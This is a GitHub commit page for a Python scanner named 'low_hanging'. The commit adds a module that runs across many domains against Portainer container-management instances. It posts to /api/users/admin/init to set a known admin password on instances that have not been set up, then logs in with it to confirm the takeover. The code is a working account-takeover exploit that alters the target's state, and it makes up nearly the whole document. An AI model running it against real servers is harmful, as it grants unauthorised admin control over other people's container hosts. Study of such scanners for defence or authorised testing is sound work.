Skip to content

Commit

Permalink
Add portainer module
Browse files Browse the repository at this point in the history
  • Loading branch information
janmasarik committed Jan 18, 2019
1 parent d7392f1 commit e2ebe80
Show file tree
Hide file tree
Showing 3 changed files with 26 additions and 3 deletions.
4 changes: 2 additions & 2 deletions low_hanging.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,13 +8,13 @@
from requests_html import HTMLSession
from tqdm import tqdm

from low_hanging.modules import DjangoDebug, PhpInfo
from low_hanging.modules import DjangoDebug, PhpInfo, PortainerAdmin


log = logging.getLogger()

def gather(domains, threads, timeout=5):
modules = [DjangoDebug, PhpInfo]
modules = [DjangoDebug, PhpInfo, PortainerAdmin]
session = HTMLSession()
session.timeout = timeout
results = defaultdict(list)
Expand Down
3 changes: 2 additions & 1 deletion low_hanging/modules/__init__.py
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
from low_hanging.modules.django import DjangoDebug
from low_hanging.modules.phpinfo import PhpInfo
from low_hanging.modules.phpinfo import PhpInfo
from low_hanging.modules.portainer_admin import PortainerAdmin
22 changes: 22 additions & 0 deletions low_hanging/modules/portainer_admin.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
from urllib.parse import urljoin
from low_hanging.base_worker import BaseWorker


class PortainerAdmin(BaseWorker):
name = "portainer_admin_reset"
references = ["https://github.com/portainer/portainer/issues/493"]
def run(self):
r = self.session.post(
urljoin(self.domain, "/api/users/admin/init"),
json={"username": "admin", "password":"definitely_valid"}
)

if r.status_code in (404, 409):
return

r = self.session.post(
urljoin(self.domain, "/api/auth"),
json={"username": "admin", "password":"definitely_valid"}
)
if r.status_code < 400:
return r.url

0 comments on commit e2ebe80

Please sign in to comment.